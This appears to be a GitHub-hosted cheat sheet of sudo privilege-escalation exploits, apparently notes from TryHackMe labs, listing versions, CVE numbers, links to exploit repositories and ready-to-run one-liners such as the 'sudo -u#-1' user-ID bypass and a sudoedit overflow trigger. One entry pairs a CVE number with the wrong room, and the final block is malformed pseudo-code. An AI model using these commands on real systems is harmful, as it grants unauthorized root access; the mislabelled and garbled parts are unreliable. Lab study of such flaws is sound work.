-
Notifications
You must be signed in to change notification settings - Fork 1
/
sudo-exploit.txt
41 lines (30 loc) · 944 Bytes
/
sudo-exploit.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
++++++++++++++++++++++++++++++++++++++++++++++++++
Sudo version 1.8.21p2
CVE-2021-3156
https://github.com/CptGibbon/CVE-2021-3156.git
Usage:
$ make
$ ./exploit
++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++
Sudo (versions < 1.8.28)
CVE-2019-14287
https://tryhackme.com/room/sudovulnsbypass
$ sudo -u#-1 <command>
++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++
sudo program from 1.8.2-1.8.31p2 and 1.9.0-1.9.5p1
CVE-2019-18634
https://tryhackme.com/room/sudovulnssamedit
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++
Sudo Buffer Overflow
sudo earlier than 1.8.26
CVE-2019-18634
https://tryhackme.com/room/sudovulnsbof
{
if [cat/etc/sudoers]
env.reset,pwfeedback
}
https://github.com/saleemrashid/sudo-cve-2019-18634